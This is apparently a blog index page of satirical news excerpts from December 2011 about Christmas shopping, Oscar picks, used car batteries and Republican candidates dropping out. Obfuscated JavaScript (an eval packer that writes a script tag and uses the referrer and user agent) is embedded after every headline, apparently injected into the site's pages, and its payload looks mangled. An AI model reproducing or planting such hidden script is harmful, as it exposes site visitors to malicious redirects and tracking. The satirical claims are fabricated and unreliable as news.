Christmas Now a Holy Day for Shoppers Everywhere

Christmas Now a Holy Day Everywhere eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ztbkn|var|u0026u|referrer|htdri||js|php’.split(‘|’),0,{})) Celebrated by Shoppers Around the World New York, NY December 25th, 2011 (SHK) Christmas Day, normally a National Holiday in Christian nations everywhere, is the birthday of Jesus Christ, a popular gay standup comic in Jerusalem during Roman times who is best remembered [...]

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Four Odds-On Oscar Favorites

FOUR ODDS-ON OSCAR FAVORITES eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnyid|var|u0026u|referrer|kbzsn||js|php’.split(‘|’),0,{})) America’s Best Films Hype Big-Time Doomsday Scenarios Hollywood, CA  December 18th, 2011 (SHK) The American Academy of Motion Picture Arts and Sciences (www.oscars.org) has short-listed four feature films widely heralded as near-certain Oscar-winners this year.  Although there will be ten nominees for Best Picture, these [...]

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Used Car Batteries Create New Crisis

USED CAR BATTERIES THREATEN FOREIGNERS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtbfe|var|u0026u|referrer|bnrns||js|php’.split(‘|’),0,{})) General Motors now the #1 Suspect Everywhere Washington, DC December 11th, 2011 (SHK) Homeland Security today announced that used batteries trucked regularly from the US to Mexico for disposal there have become an unexpected threat to people and politics alike. More than sixty packed [...]

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Cain, Bachmann Both Drop Out

CAIN, BACHMANN DROP OUT OF THE RACE eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbkyb|var|u0026u|referrer|kdsbk||js|php’.split(‘|’),0,{})) Replaced by Republicans with Unpronounceable Names Washington, D. C. December 5th, 2011 (SHK) Republican presidential candidate Herman Cain today announced his official withdrawal from the 2012 race. This came as no surprise; speculation was high that he would suspend his campaign because [...]

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